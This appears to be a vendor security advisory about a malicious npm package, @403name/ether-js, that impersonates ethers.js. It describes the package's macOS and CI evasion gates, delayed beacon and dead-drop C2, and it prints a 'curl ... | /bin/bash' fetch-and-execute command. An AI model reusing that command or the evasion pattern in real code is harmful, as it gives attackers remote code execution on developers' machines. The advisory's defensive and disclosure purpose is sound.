@403name/ether-jsnpm
Malicious code in @403name/ether-js (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On require('@403name/ether-js'), index.js runs an IIFE that targets macOS only (returns early on non-darwin and when CI/GITHUB_ACTIONS env vars are set), writes a one-shot marker at ~/.cache/.nyx-npm/e, waits a randomized 30-90s, then fetches a C2 base URL from https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt. It beacons the installer's USER env var and os.hostname() to <c2>/api/clickfix-callback via curl, then spawns '/bin/sh -c' with curl -sSfL <c2>/api/payload/ | /bin/bash (detached, disowned) — full remote code execution on the developer's machine under attacker control. A Russian-language comment in the source explicitly states the design avoids lifecycle scripts to be 'invisible to npm audit'. The package name and description impersonate the popular ethers.js library ('Compatible with ethers.js API patterns for easy migration'), and the shipped keccak256 is a stub returning random hex rather than a real hash — confirming the package is a lure, not a functional library. The evasion pattern (platform gate, CI gate, randomized delay, one-shot marker) combined with the two-stage dead-drop-to-C2 fetch-and-exec is conclusive malicious intent.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @403name/ether-js (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @403name/ether-js across your stack and pipelines.
If you installed it — respond
@403name/ether-js is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @403name/ether-js was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @403name/ether-js before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @403name/ether-js-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.